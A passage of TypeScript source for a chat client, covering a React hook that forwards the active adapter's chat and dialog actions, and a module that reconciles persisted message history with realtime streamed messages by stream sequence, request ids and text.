every reader below is a forwarded\n  // command invoked from a user gesture, which can only run after a commit, so\n  // a render attempt React discards must not be able to point the forwards at\n  // an adapter state that was never committed.\n  const activeStateRef = useRef(activeState);\n  useEffect(() => {\n    activeStateRef.current = activeState;\n  });\n\n  // Re-wrap so the returned identity is stable for the active state.\n  // Consumers shouldn't see the inactive adapter's state at all.\n  const stopMessage = useCallback(() => activeStateRef.current.stopMessage(), []);\n  const clearMessages = useCallback(() => activeStateRef.current.clearMessages(), []);\n  const sendMessage = useCallback(\n    (text: string, opts?: Parameters<UnifiedChatState['sendMessage']>[1]) =>\n      activeStateRef.current.sendMessage(text, opts),\n    [],\n  );\n  const discussRef = useCallback(\n    (ref: Parameters<UnifiedChatState['discussRef']>[0]) => activeStateRef.current.discussRef(ref),\n    [],\n  );\n  // `displayRef` is OPTIONAL on the state and consumers gate the \"Display\"\n  // affordance on its presence, so the forward has to be able to be absent\n  // too: an always-truthy wrapper around a missing method advertises a\n  // display path that isn't there and throws when the menu row is clicked.\n  // Only the flag flips identity — the wrapper itself stays stable.\n  const displayRefForward = useCallback(\n    (ref: Parameters<NonNullable<UnifiedChatState['displayRef']>>[0]) => activeStateRef.current.displayRef?.(ref),\n    [],\n  );\n  const displayRef = activeState.displayRef ? displayRefForward : undefined;\n\n  // Dialog-management forwards — one thin wrapper per action so the\n  // returned identity stays stable as long as the active adapter's\n  // identity does. We don't recreate per-call to avoid spurious child\n  // re-renders downstream.\n  const selectDialog = useCallback((id: string | null) => activeStateRef.current.selectDialog(id), []);\n  const startNewDialog = useCallback(() => activeStateRef.current.startNewDialog(), []);\n  const deleteDialog = useCallback((id: string) => activeStateRef.current.deleteDialog(id), []);\n  const renameDialog = useCallback((id: string, title: string) => activeStateRef.current.renameDialog(id, title), []);\n  const archiveDialog = useCallback((id: string) => activeStateRef.current.archiveDialog(id), []);\n  const loadMoreDialogs = useCallback(() => activeStateRef.current.loadMoreDialogs(), []);\n  const setDialogScope = useCallback((scope: 'my' | 'all') => activeStateRef.current.setDialogScope?.(scope), []);\n  const reloadDialogs = useCallback(() => activeStateRef.current.reloadDialogs(), []);\n  const loadMoreMessages = useCallback(() => activeStateRef.current.loadMoreMessages(), []);\n  const approveRequest = useCallback((requestId: string) => activeStateRef.current.approveRequest(requestId), []);\n  const rejectRequest = useCallback(\n    (requestId: string, reason?: string) => activeStateRef.current.rejectRequest(requestId, reason),\n    [],\n  );\n\n  return useMemo<UnifiedChatState>(\n    () => ({\n      messages: activeState.messages,\n      isLoading: activeState.isLoading,\n      streamingPhase: activeState.streamingPhase,\n      sendMessage,\n      stopMessage,\n      clearMessages,\n      discussRef,\n      displayRef,\n      currentProvider: activeState.currentProvider,\n      currentModelLabel: activeState.currentModelLabel,\n      currentContextWindowMaxTokens: activeState.currentContextWindowMaxTokens,\n      currentInputTokens: activeState.currentInputTokens,\n      currentOutputTokens: activeState.currentOutputTokens,\n      currentCacheHitRatePct: activeState.currentCacheHitRatePct,\n      currentUsageBreakdown: activeState.currentUsageBreakdown,\n      // Dialog management (forwarded from active adapter)\n      dialogs: activeState.dialogs,\n      activeDialogId: activeState.activeDialogId,\n      selectDialog,\n      startNewDialog,\n      deleteDialog,\n      renameDialog,\n      archiveDialog,\n      isDialogsLoading: activeState.isDialogsLoading,\n      dialogsError: activeState.dialogsError,\n      reloadDialogs,\n      isMessagesLoading: activeState.isMessagesLoading,\n      hasMoreDialogs: activeState.hasMoreDialogs,\n      loadMoreDialogs,\n      // Scope only surfaces when the active adapter exposes it — the forward\n      // is unconditionally stable, gating happens on `dialogScope` itself.\n      dialogScope: activeState.dialogScope,\n      setDialogScope,\n      hasMoreMessages: activeState.hasMoreMessages,\n      loadMoreMessages,\n      // THE conversation-list signal — resolved once, above.\n      dialogCapabilities,\n      // Approvals\n      approveRequest,\n      rejectRequest,\n      // Token usage + connection\n      dialogTokenUsage: activeState.dialogTokenUsage,\n      connectionState: activeState.connectionState,\n    }),\n    [\n      activeState,\n      dialogCapabilities,\n      sendMessage,\n      stopMessage,\n      clearMessages,\n      discussRef,\n      displayRef,\n      selectDialog,\n      startNewDialog,\n      deleteDialog,\n      renameDialog,\n      archiveDialog,\n      loadMoreDialogs,\n      setDialogScope,\n      reloadDialogs,\n      loadMoreMessages,\n      approveRequest,\n      rejectRequest,\n    ],\n  );\n}\n","import type { MessageContent } from '../types';\n\n/**\n * Reconciliation between persisted dialog history (processed GraphQL pages)\n * and the realtime messages a chat client accumulated from streaming chunks.\n *\n * This is the missing middle piece of the chat pipeline this lib already\n * owns: `processHistoricalMessages*` produces one stream, the realtime chunk\n * processor / segment accumulator produces the other, and every host (Mingo,\n * tickets, openframe-chat) needs to merge them whenever history is (re)fetched.\n * Hand-rolled versions of this merge have produced both duplicated turns\n * (synthetic kept alongside its persisted twin) and lost turns (synthetic\n * trimmed against a stale snapshot that didn't contain its persisted twin\n * yet) — the freshness rule below is the invariant that prevents both.\n *\n * Pure on purpose: the host owns WHEN to merge (react-query wiring, store\n * writes), this module owns HOW.\n */\n\n/** Minimal structural shape the merge needs — hosts pass their own message\n *  type and get it back. */\nexport interface MergeableChatMessage {\n  id: string;\n  role: string;\n  content: MessageContent;\n  timestamp?: Date;\n  /** Highest CONTENT chunk streamSeq that composed this message (text / tool /\n   *  approval / error / compaction — never the non-persisted MESSAGE_END /\n   *  TOKEN_USAGE control chunks). Hosts stamp it on realtime synthetics so the\n   *  merge can decide coverage per-message: a synthetic is in history once a\n   *  persisted row of the SAME role reaches its seq. (Regular `user-`\n   *  MESSAGE_REQUEST synthetics are the exception — the backend persists their\n   *  rows without a seq, so they are deduped by content, not seq; see the merge.)\n   *\n   *  Stamp it on HISTORY rows too (from the persisted `lastChunkStreamSeq`)\n   *  when available: the merge then computes a PER-ROLE max from history and a\n   *  synthetic is \"covered\" only when a persisted row of its own role actually\n   *  reached its seq. Without per-row history seqs the merge falls back to the\n   *  single global `historyMaxStreamSeq`, which a later/other-role row can push\n   *  past a synthetic whose turn is NOT in the snapshot (interrupted /\n   *  async-persisted) — dropping a message the user saw with no replay to\n   *  restore it. Optional — absent on hosts that don't stamp it (those keep the\n   *  global-seq / wall-clock behaviour). */\n  streamSeq?: number;\n}\n\n/** Ids minted client-side by realtime chunk processors\n *  (`assistant-<ts>-…` placeholder bubbles, `user-<ts>-…` peer messages,\n *  `direct-<ts>-…` technician direct messages, `system-<ts>-…` system notices,\n *  `error-<ts>` stream errors). They never match the Mongo ObjectIds history\n *  returns for the same turns. This is the cross-host contract every minting\n *  site (lib `use-chat`, Mingo / tickets chunk processors, openframe-chat)\n *  must keep matching — exported so it lives in exactly one place.\n *  `direct-`/`system-` are persisted (as ADMIN/SYSTEM history rows) and so are\n *  replayed by JetStream on reconnect; without them here a replayed direct\n *  message renders twice (its persisted twin + the fresh synthetic).\n *  `welcome-` and `optimistic-` ids are intentionally NOT listed: welcome\n *  bubbles are never persisted server-side, and optimistic user messages are\n *  deduped by content below. */\nexport const SYNTHETIC_REALTIME_ID_PREFIXES = ['assistant-', 'user-', 'direct-', 'system-', 'error-'] as const;\n\nfunction isSyntheticRealtimeId(id: string): boolean {\n  return SYNTHETIC_REALTIME_ID_PREFIXES.some(prefix => id.startsWith(prefix));\n}\n\n/** Host-minted user bubble of a send in flight. Deliberately NOT one of the\n *  synthetic-realtime prefixes — see the note above them. */\nfunction isOptimisticId(id: string): boolean {\n  return id.startsWith('optimistic-');\n}\n\n/** Peer `MESSAGE_REQUEST` echo (another session's send). Its persisted twin is\n *  the one row kind the backend never stamps with a `lastChunkStreamSeq`, so\n *  seq can never prove it in or out of a snapshot — every site that treats\n *  `user-` specially exists for that, and all of them go when the backend\n *  starts stamping user rows. */\nfunction isUserRequestSyntheticId(id: string): boolean {\n  return id.startsWith('user-');\n}\n\n/** A row this client made up and never fetched. Everything else (`welcome-`\n *  included) reads as a persisted row where the thread's own shape cannot say\n *  otherwise. */\nfunction isClientMintedId(id: string): boolean {\n  return isSyntheticRealtimeId(id) || isOptimisticId(id);\n}\n\n/** The host's greeting on a fresh dialog: never persisted, belongs at the top. */\nfunction isWelcomeId(id: string): boolean {\n  return id.startsWith('welcome-');\n}\n\n/** Rendered answer text of an assistant message (TEXT segments, or a plain string). Used to\n *  recognise a replayed synthetic as the twin of an already-persisted turn when the stream-seq\n *  signal can't prove it (see the trailing-turn fallback below). Empty for tool/approval-only\n *  turns that carry no answer text — callers must treat \"\" as \"no signal\", never as a match. */\nfunction assistantAnswerText(content: MessageContent): string {\n  if (typeof content === 'string') return content.trim();\n  if (!Array.isArray(content)) return '';\n  const parts: string[] = [];\n  for (const seg of content) {\n    if (seg.type === 'text') parts.push(seg.text);\n  }\n  return parts.join('\\n').trim();\n}\n\n/**\n * Backend request ids carried by a turn's segments — tool-call ids, approval\n * request ids, batch ids.\n *\n * These identify the TURN, which is what lets the merge recognise history's\n * persisted row and a live synthetic as two copies of the same thing when\n * their IDS DIFFER. Ids only converge through adoption, and adoption only\n * happens on a replay (a reload re-streams the turn into the persisted row);\n * a refetch that lands mid-stream has no replay, so the live copy keeps the\n * synthetic id the reducer minted.\n *\n * Empty for a turn that has produced only text — callers must treat an empty\n * set as \"no signal\", never as a match.\n */\nfunction turnRequestKeys(content: MessageContent): Set<string> {\n  const keys = new Set<string>();\n  if (!Array.isArray(content)) return keys;\n  for (const seg of content) {\n    if (seg.type === 'tool_execution') {\n      const id = seg.data?.toolExecutionRequestId;\n      if (id) keys.add(id);\n    } else if (seg.type === 'approval_request') {\n      const id = seg.data?.requestId;\n      if (id) keys.add(id);\n    } else if (seg.type === 'escalation_offer') {\n      const id = seg.data?.offerId;\n      if (id) keys.add(id);\n      // `ticket_escalated` is deliberately absent: its only id is the ticketId,\n      // which is dialog-scoped, so a re-escalated dialog would false-match an\n      // older bubble and slice the newest persisted turn out of the thread.\n    } else if (seg.type === 'approval_batch') {\n      const data = seg.data;\n      if (data?.approvalRequestId) keys.add(data.approvalRequestId);\n      for (const call of data?.toolCalls ?? []) {\n        if (call?.toolExecutionRequestId) keys.add(call.toolExecutionRequestId);\n      }\n    }\n  }\n  return keys;\n}\n\n/** Whether any of a turn's `keys` (see `turnRequestKeys`) is in `others`. */\nfunction sharesRequestKey(keys: ReadonlySet<string>, others: ReadonlySet<string>): boolean {\n  if (keys.size === 0 || others.size === 0) return false;\n  for (const key of keys) {\n    if (others.has(key)) return true;\n  }\n  return false;\n}\n\n/** A user row's identity is its text; empty text is no identity (system rows\n *  persist with `content: ''`). `''` for any other row. */\nfunction userText(m: MergeableChatMessage): string {\n  return m.role === 'user' && typeof m.content === 'string' ? m.content : '';\n}\n\n/** What a set of rows says about the turns they render, so another copy of one\n *  of those turns can be recognised under a DIFFERENT id: the backend request\n *  ids their segments carry, their answer texts and their user texts. The text\n *  maps count occurrences for the callers that pair copies positionally (a\n *  repeated prompt twins the NEWEST unclaimed same-text row); `twinVerdict`\n *  itself reads them as presence. Empty user text carries no identity (system\n *  rows persist with `content: ''`) and is left out. */\ninterface TwinSignals {\n  requestKeys: Set<string>;\n  assistantTexts: Map<string, number>;\n  userContents: Map<string, number>;\n}\n\nfunction collectTwinSignals(rows: readonly MergeableChatMessage[]): TwinSignals {\n  const signals: TwinSignals = { requestKeys: new Set(), assistantTexts: new Map(), userContents: new Map() };\n  for (const row of rows) {\n    for (const key of turnRequestKeys(row.content)) signals.requestKeys.add(key);\n    if (row.role === 'assistant') {\n      const text = assistantAnswerText(row.content);\n      if (text !== '') signals.assistantTexts.set(text, (signals.assistantTexts.get(text) ?? 0) + 1);\n      continue;\n    }\n    const text = userText(row);\n    if (text !== '') signals.userContents.set(text, (signals.userContents.get(text) ?? 0) + 1);\n  }\n  return signals;\n}\n\ntype TwinVerdict = 'twin' | 'distinct' | 'unknown';\n\n/** Whether `m` renders one of the turns `signals` describe. 'twin': a shared\n *  request id, a user text held verbatim, or an answer text that is a prefix\n *  either way of one held — streaming only appends, so a copy cut short, or a\n *  persisted row still being written, is a prefix of the full one. 'unknown':\n *  the row carries nothing a twin could be recognised by (no user text, no\n *  request id, no answer text), so \"no match\" says nothing about it. */\nfunction twinVerdict(signals: TwinSignals, m: MergeableChatMessage): TwinVerdict {\n  if (m.role !== 'assistant') {\n    const text = userText(m);\n    if (text === '') return 'unknown';\n    return signals.userContents.has(text) ? 'twin' : 'distinct';\n  }\n  const keys = turnRequestKeys(m.content);\n  if (keys.size > 0) return sharesRequestKey(keys, signals.requestKeys) ? 'twin' : 'distinct';\n  const text = assistantAnswerText(m.content);\n  if (text === '') return 'unknown';\n  for (const other of signals.assistantTexts.keys()) {\n    if (other.startsWith(text) || text.startsWith(other)) return 'twin';\n  }\n  return 'distinct';\n}\n\n/** Flattens DESC-sorted message pages (newest page first, newest message\n *  first within a page) into one chronological list. */\nexport function flattenMessagePagesChronological<T>(pages: readonly { messages: readonly T[] }[] | undefined): T[] {\n  if (!pages) return [];\n  return [...pages].reverse().flatMap(page => [...page.messages].reverse());\n}\n\n/** Max `lastChunkStreamSeq` across history pages — the history half of the\n *  merge's seq-coverage signal (`HistoryMergeInput.historyMaxStreamSeq`),\n *  also used by hosts as the JetStream replay start offset. 0 = unstamped. */\nexport function maxPersistedStreamSeq(\n  pages: readonly { messages: readonly { lastChunkStreamSeq?: number | null }[] }[] | undefined,\n): number {\n  let max = 0;\n  if (!pages) return max;\n  for (const page of pages) {\n    for (const msg of page.messages) {\n      const seq = msg.lastChunkStreamSeq;\n      if (typeof seq === 'number' && seq > max) max = seq;\n    }\n  }\n  return max;\n}\n\nexport interface HistoryMergeInput<M extends MergeableChatMessage> {\n  /** Processed history in chronological order (all fetched pages). */\n  processedHistory: M[];\n  /** Raw history message ids across all fetched pages, when they can differ\n   *  from processed ids (processing may merge/rename). Optional — pass when\n   *  available so raw-id duplicates are filtered too. */\n  rawHistoryIds?: ReadonlySet<string>;\n  /** Messages currently in the host store for this dialog (realtime + prior merges). */\n  existingMessages: M[];\n  /** Id of the in-flight streaming synthetic, if any. Never dropped.\n   *  IMPORTANT: hosts must not pass a STALE id here (e.g. a streaming entry\n   *  left behind by unmounting mid-stream) — gate it on the server-side\n   *  stream state when available, or the synthetic will be exempted forever. */\n  streamingMessageId: string | null;\n  /** Epoch ms when the history pages were fetched (react-query `dataUpdatedAt`).\n   *  Wall-clock freshness fallback used when seq coverage (below) is unknown:\n   *  a synthetic created AFTER this instant cannot be represented in the\n   *  snapshot, so it must be kept. NOTE this heuristic is blind to chunk\n   *  REPLAY, which re-mints synthetics for old turns with fresh timestamps —\n   *  pass the seq fields whenever the host tracks them. */\n  historyFetchedAt: number;\n  /** Max `lastChunkStreamSeq` across the raw history pages, when the backend\n   *  stamps it (see `maxPersistedStreamSeq`). Together with\n   *  `realtimeSeenStreamSeq` this gives an exact coverage signal that\n   *  replaces the wall-clock heuristic. */\n  historyMaxStreamSeq?: number;\n  /** Highest stream seq this client has consumed for the dialog (live or\n   *  replayed chunks). */\n  realtimeSeenStreamSeq?: number;\n}\n\nexport function mergeHistoryWithRealtime<M extends MergeableChatMessage>(input: HistoryMergeInput<M>): M[] {\n  const {\n    processedHistory,\n    rawHistoryIds,\n    existingMessages,\n    streamingMessageId,\n    historyFetchedAt,\n    historyMaxStreamSeq = 0,\n    realtimeSeenStreamSeq = 0,\n  } = input;\n\n  // An empty snapshot can't dedupe anything — merging would only let the\n  // freshness rules below wipe completed realtime messages (e.g. persistence\n  // lag on a fresh dialog). The realtime side stays the source of truth.\n  if (processedHistory.length === 0) return existingMessages;\n\n  const processedIds = new Set(processedHistory.map(m => m.id));\n\n  // Seq-based coverage: every synthetic is derived from consumed chunks, so\n  // when history's max persisted seq reaches the highest seq this client has\n  // consumed, ALL synthetics are represented in history (drop them); when it\n  // hasn't, history is provably behind (keep them ALL — even ones that look\n  // old by wall-clock, e.g. re-minted by a chunk replay). `null` = signal\n  // unavailable (legacy transport / backend without seq stamps) → fall back\n  // to the per-message wall-clock rule.\n  const seqCoverageKnown = realtimeSeenStreamSeq > 0 && historyMaxStreamSeq > 0;\n  const historyCoversRealtime = seqCoverageKnown ? historyMaxStreamSeq >= realtimeSeenStreamSeq : null;\n\n  // Per-role max persisted streamSeq, computed from history rows that carry a\n  // per-row `streamSeq` (hosts stamp it from `lastChunkStreamSeq`). The single\n  // global `historyMaxStreamSeq` is a MAX over ALL rows, so a later turn or an\n  // other-role row (e.g. a user MESSAGE_REQUEST) can push it past a synthetic\n  // whose OWN turn is not in the snapshot yet — the merge then \"covers\" and\n  // drops that synthetic with no twin to replace it (permanent loss on stop /\n  // reload / any recompute). Deciding coverage against the same-role max\n  // instead means a synthetic is dropped only when a persisted row of its role\n  // actually reached its seq. `anyHistoryRowSeq` gates the whole scheme: when\n  // no history row is seq-stamped (legacy hosts) we keep the previous global\n  // behaviour unchanged.\n  const historyMaxSeqByRole = new Map<string, number>();\n  let anyHistoryRowSeq = false;\n  for (const pm of processedHistory) {\n    if (typeof pm.streamSeq === 'number') {\n      anyHistoryRowSeq = true;\n      const prev = historyMaxSeqByRole.get(pm.role) ?? 0;\n      if (pm.streamSeq > prev) historyMaxSeqByRole.set(pm.role, pm.streamSeq);\n    }\n  }\n\n  // Persistence is asynchronous per-chunk: an assistant turn ending in an\n  // approval can have its APPROVAL_REQUEST document persisted before the\n  // leading THINKING/TEXT documents, so history can return a partial trailing\n  // assistant (just `[approval_batch]`) while the realtime store already has\n  // the full `[thinking, text, approval_batch]` synthetic. Resolve by\n  // `approval_batch.approvalRequestId`:\n  //   - if the existing twin is the LIVE streaming message, or has more\n  //     segments — drop the history assistant and pin the twin (realtime is\n  //     the more complete / still-growing copy).\n  //   - else (history is at least as complete) — drop the twin.\n  const trailing = processedHistory[processedHistory.length - 1];\n  const historyTrailingAssistant = trailing?.role === 'assistant' ? trailing : null;\n  const historyBatchId =\n    historyTrailingAssistant && Array.isArray(historyTrailingAssistant.content)\n      ? (historyTrailingAssistant.content.find(s => s.type === 'approval_batch')?.data?.approvalRequestId ?? null)\n      : null;\n\n  let processedToUse = processedHistory;\n  const pinnedSyntheticIds = new Set<string>();\n  const droppedSyntheticIds = new Set<string>();\n\n  if (historyBatchId) {\n    const batchTwins = existingMessages.filter(\n      m =>\n        m.role === 'assistant' &&\n        Array.isArray(m.content) &&\n        m.content.some(s => s.type === 'approval_batch' && s.data?.approvalRequestId === historyBatchId),\n    );\n    // Prefer the live streaming twin; otherwise the most recent one (a stale\n    // replay-minted duplicate may precede it).\n    const existingWithSameBatch =\n      batchTwins.find(m => m.id === streamingMessageId) ?? batchTwins[batchTwins.length - 1];\n    if (existingWithSameBatch && Array.isArray(existingWithSameBatch.content)) {\n      const histSize = Array.isArray(historyTrailingAssistant?.content) ? historyTrailingAssistant.content.length : 0;\n      const realtimeSize = existingWithSameBatch.content.length;\n      if (existingWithSameBatch.id === streamingMessageId || realtimeSize > histSize) {\n        processedToUse = processedHistory.slice(0, -1);\n        pinnedSyntheticIds.add(existingWithSameBatch.id);\n      } else {\n        droppedSyntheticIds.add(existingWithSameBatch.id);\n      }\n    }\n  }\n\n  // Adoption pin, generalised to plain tool turns (no approval batch). After a\n  // mid-stream reload the trailing assistant is a PERSISTED row (Mongo id); the\n  // chunk processors ADOPT it and append later chunks IN PLACE, so the store's\n  // copy keeps that Mongo id but accumulates MORE than history has persisted yet\n  // (a later tool, a tool's terminal state). `processedIds` would then drop that\n  // richer realtime copy as an id-duplicate and revert the bubble to history's\n  // stale segments — the reported \"3 tools collapse to 2, one stuck pending\n  // instead of failed\" after reload + stop. When a same-id realtime twin is\n  // strictly richer than the persisted trailing (more segments, or an equal\n  // count but a higher consumed `streamSeq`), pin it and drop history's copy —\n  // the same rule the approval-batch branch above applies, for any trailing\n  // assistant. Skipped when that branch already claimed the trailing turn (its\n  // slice moved the last element) or the trailing isn't an assistant. Once the\n  // backend finishes persisting the turn, history's length/seq catch up, the\n  // twin is no longer richer, and the persisted copy wins again (self-heals).\n  if (\n    historyTrailingAssistant &&\n    Array.isArray(historyTrailingAssistant.content) &&\n    processedToUse[processedToUse.length - 1] === historyTrailingAssistant &&\n    !pinnedSyntheticIds.has(historyTrailingAssistant.id)\n  ) {\n    const persistedSize = historyTrailingAssistant.content.length;\n    const persistedSeq = historyTrailingAssistant.streamSeq ?? 0;\n    // Turn identity for a twin that has NOT adopted the persisted id. Adoption\n    // only happens on a REPLAY (a reload re-streams the turn from its\n    // MESSAGE_START into the persisted row); a refetch that lands while the\n    // turn is still streaming has no replay, so the live copy keeps the\n    // synthetic id the reducer minted and the id test above can never match.\n    // Both copies do carry the backend's per-call request ids, which identify\n    // the TURN — the same trick the approval-batch branch plays with\n    // `approvalRequestId`, widened to tool calls.\n    const trailingKeys = turnRequestKeys(historyTrailingAssistant.content);\n    const isSameTurn = (m: M): boolean =>\n      m.id === historyTrailingAssistant.id || sharesRequestKey(turnRequestKeys(m.content), trailingKeys);\n    const richerTwin = existingMessages.find(\n      m =>\n        m !== historyTrailingAssistant &&\n        m.role === 'assistant' &&\n        Array.isArray(m.content) &&\n        isSameTurn(m) &&\n        // A STILL-STREAMING twin wins outright: it is the copy the chunks are\n        // landing in, so \"richer\" is a property it is about to have anyway,\n        // and history's snapshot of a turn in flight is stale by construction.\n        // Without this the same turn rendered TWICE — history's partial copy\n        // beside the live one, their tool rows disagreeing (one pending, one\n        // failed) because each stopped at a different chunk.\n        (m.id === streamingMessageId ||\n          m.content.length > persistedSize ||\n          (m.content.length === persistedSize && typeof m.streamSeq === 'number' && m.streamSeq > persistedSeq)),\n    );\n    if (richerTwin) {\n      processedToUse = processedToUse.slice(0, -1);\n      pinnedSyntheticIds.add(richerTwin.id);\n    }\n  }\n\n  // Content-equality fallback for the trailing turn. The backend stamps `lastChunkStreamSeq`\n  // asynchronously, so a just-finished assistant can land in history with a seq BELOW the replay's\n  // terminal chunk seq; seq coverage then reads \"not covered\" and the replayed synthetic survives\n  // next to its persisted twin. Recognise the twin by its rendered answer text.\n  const lastProcessed = processedToUse[processedToUse.length - 1];\n  const trailingAssistantText =\n    lastProcessed && lastProcessed.role === 'assistant' ? assistantAnswerText(lastProcessed.content) : '';\n\n  // Content identity of the window, for recognising copies of its turns under\n  // other ids; its `userContents` multiset is also what the `user-` branch of\n  // `keepRealtime` pairs echoes against positionally (rationale there).\n  const windowSignals = collectTwinSignals(processedToUse);\n  const seenUserSyntheticByContent = new Map<string, number>();\n\n  // The window boundary. `processedHistory` is what the host FETCHED, and hosts\n  // fetch newest-first with a fixed page count: once the thread has grown, the\n  // same fetch returns the newest N×limit rows and the head of what is on\n  // screen is no longer in it. Those rows have no twin the window could hold,\n  // so the dedup rules below must never see them — coverage read a synthetic\n  // older than the window as \"a persisted row reached this seq\" and DROPPED it,\n  // and an unordered keep appended a persisted row AFTER the newest reply. Both\n  // were the reported \"conversation reverts to an earlier state after a\n  // refresh\". Rows older than the window are kept verbatim, in their existing\n  // order, in FRONT of it.\n  //\n  // `existingMessages` is chronological (every write path appends, prepends an\n  // older page, or is this merge), so the thread's own shape decides first:\n  //   - where it holds window rows, the first of them is the boundary. Rows\n  //     from it on are the window and its live tail, whatever their id or\n  //     clock says — a host-minted tail row such as a ticket preview must not\n  //     be pulled to the top. One exception before it: a client-minted row\n  //     that shares a request id with a window row IS that row's copy, placed\n  //     by a previous merge while the row's stamp was missing, and goes back to\n  //     coverage so the placement heals instead of being cemented.\n  //   - where it holds none (every window row is the persisted twin of a\n  //     synthetic, or the store was empty), the window IS the newest persisted\n  //     rows, so a persisted id absent from it is older by construction — and\n  //     so is everything before the last such row. \"Persisted\" needs the row\n  //     to predate the fetch: a host-minted row newer than it (a ticket\n  //     preview) is not history, whatever its id. Unless the thread holds no\n  //     client-minted row at all: then nothing bridges those rows to the\n  //     window, the gap is rows this client never saw, and the next older page\n  //     would be prepended above them out of order — the window alone is the\n  //     thread, the rest is refetchable (a `welcome-` bubble is not, and stays).\n  // Only rows past both anchors are judged on their own:\n  //   - a seq-stamped synthetic below every stamped window row: seq is\n  //     monotonic per dialog, but a copy CUT SHORT carries its last consumed\n  //     chunk's seq, below its twin's stamp — so `twinVerdict` decides where it\n  //     has a signal, and seq decides an 'unknown' only where it cannot\n  //     mislead: not for a `user-` / optimistic copy (twin never stamped), nor\n  //     for an assistant copy while the window holds an unstamped assistant\n  //     row. A `direct-` / `system-` copy has a stamped twin, so seq is exact.\n  //   - an unstamped synthetic / optimistic row: minted BEFORE the fetch\n  //     (`historyFetchedAt`, client clock like the row's own stamp, so a send\n  //     after the fetch never qualifies), timestamped before the window's\n  //     oldest row (server clock — a client clock behind the server can still\n  //     misread a pre-fetch row, hence the verdict too) and 'distinct'.\n  //     Replay-minted synthetics carry fresh timestamps and never qualify.\n  const isInWindow = (m: M): boolean => processedIds.has(m.id) || (rawHistoryIds?.has(m.id) ?? false);\n  const firstWindowIndex = existingMessages.findIndex(isInWindow);\n  const isPersistedOlder = (m: M): boolean =>\n    !isClientMintedId(m.id) && (m.timestamp?.getTime() ?? 0) <= historyFetchedAt;\n  let lastOlderPersistedIndex = -1;\n  if (firstWindowIndex < 0) {\n    for (const [index, m] of existingMessages.entries()) {\n      if (isPersistedOlder(m) && !pinnedSyntheticIds.has(m.id) && !droppedSyntheticIds.has(m.id)) {\n        lastOlderPersistedIndex = index;\n      }\n    }\n  }\n  let windowMinSeq = Number.POSITIVE_INFINITY;\n  let windowMinTime = Number.POSITIVE_INFINITY;\n  let windowHasUnstampedAssistant = false;\n  for (const pm of processedToUse) {\n    if (typeof pm.streamSeq === 'number') {\n      if (pm.streamSeq < windowMinSeq) windowMinSeq = pm.streamSeq;\n    } else if (pm.role === 'assistant') {\n      windowHasUnstampedAssistant = true;\n    }\n    const time = pm.timestamp?.getTime();\n    if (typeof time === 'number' && time < windowMinTime) windowMinTime = time;\n  }\n  const threadHasClientMintedRow = existingMessages.some(m => isClientMintedId(m.id));\n  const seqCanMislead = (m: M): boolean =>\n    m.role === 'assistant' ? windowHasUnstampedAssistant : isUserRequestSyntheticId(m.id) || isOptimisticId(m.id);\n  const isOlderThanWindow = (m: M, index: number): boolean => {\n    if (m.id === streamingMessageId) return false;\n    if (firstWindowIndex >= 0) {\n      if (index >= firstWindowIndex) return false;\n      return !(isClientMintedId(m.id) && sharesRequestKey(turnRequestKeys(m.content), windowSignals.requestKeys));\n    }\n    if (index < lastOlderPersistedIndex) return true;\n    if (!isClientMintedId(m.id)) return isPersistedOlder(m);\n    if (typeof m.streamSeq === 'number') {\n      if (!Number.isFinite(windowMinSeq) || m.streamSeq >= windowMinSeq) return false;\n      const verdict = twinVerdict(windowSignals, m);\n      return verdict === 'unknown' ? !seqCanMislead(m) : verdict === 'distinct';\n    }\n    const time = m.timestamp?.getTime();\n    if (typeof time !== 'number' || time > historyFetchedAt) return false;\n    if (!Number.isFinite(windowMinTime) || time >= windowMinTime) return false;\n    return twinVerdict(windowSignals, m) === 'distinct';\n  };\n\n  // The dedup rules for a row at or after the window boundary.\n  const keepRealtime = (m: M): boolean => {\n    if (m.role === 'user' && isOptimisticId(m.id) && typeof m.content === 'string') {\n      // Content-dedup only when the message predates the snapshot — a\n      // just-sent message whose text repeats an earlier turn (\"yes\", \"ok\")\n      // must not vanish against stale history. Wall-clock, not seq coverage:\n      // optimistic messages are minted on send, never by chunk replay, so\n      // their timestamps are trustworthy.\n      const canBeInSnapshot = (m.timestamp?.getTime() ?? 0) <= historyFetchedAt;\n      return !(canBeInSnapshot && windowSignals.userContents.has(m.content));\n    }\n    // Freshness rule: a synthetic whose turn is represented in the snapshot\n    // (under its persisted Mongo id) must be dropped or the turn renders\n    // twice; one the snapshot cannot contain yet must be kept or a message\n    // the user already saw is lost, with no realtime replay to restore it\n    // (JetStream resumes after the highest seq this client has consumed).\n    // Decided PER-MESSAGE by its own content seq when stamped, else the global\n    // seq coverage, else wall-clock.\n    if (isSyntheticRealtimeId(m.id) && m.id !== streamingMessageId) {\n      // A non-streaming synthetic that re-renders the trailing persisted assistant verbatim is its\n      // twin no matter what the seq signal says — drop it (covers the persistence-lag gap).\n      if (m.role === 'assistant' && trailingAssistantText && assistantAnswerText(m.content) === trailingAssistantText) {\n        return false;\n      }\n      // Regular user MESSAGE_REQUEST synthetics (`user-`): the backend persists\n      // the user row WITHOUT a `lastChunkStreamSeq` (unlike DIRECT/SYSTEM rows,\n      // which carry the chunk seq), so seq coverage can NEVER see them (the twin\n      // adds 0 to every seq max) and wall-clock can't either (replay re-mints a\n      // fresh timestamp). Dedup them purely by TEXT, matched positionally\n      // against persisted user rows (`windowSignals.userContents`): drop the\n      // synthetic once its own row is in the snapshot — trailing twin or not,\n      // killing the client→viewer duplicate — while keeping a later same-text\n      // turn whose row hasn't persisted yet. `direct-` / `system-` synthetics\n      // are ALSO role 'user' but DO carry a persisted seq, so the `user-` prefix\n      // gate lets them fall through to seq coverage below.\n      // NOTE: content matching is a workaround for the missing user-row\n      // `lastChunkStreamSeq`; the durable fix is the backend stamping it (as it\n      // already does for DIRECT/SYSTEM), which also stops the replay at the\n      // source via a correct `optStartSeq`.\n      if (m.role === 'user' && isUserRequestSyntheticId(m.id) && typeof m.content === 'string') {\n        const seen = (seenUserSyntheticByContent.get(m.content) ?? 0) + 1;\n        seenUserSyntheticByContent.set(m.content, seen);\n        // No persisted row for THIS occurrence slot → keep (nothing renders it).\n        if ((windowSignals.userContents.get(m.content) ?? 0) < seen) return true;\n        // A same-text persisted twin exists for this slot. User rows carry no\n        // persisted seq, so that twin may be THIS message's OWN row (drop — it\n        // renders the message) OR an OLDER identical-text turn while this is a\n        // NEW send repeating the text (keep — dropping it loses a message the\n        // user just sent: the reported \"message from the client chat disappears\"\n        // when the text repeats an earlier turn, e.g. sending \"continue\" again).\n        // 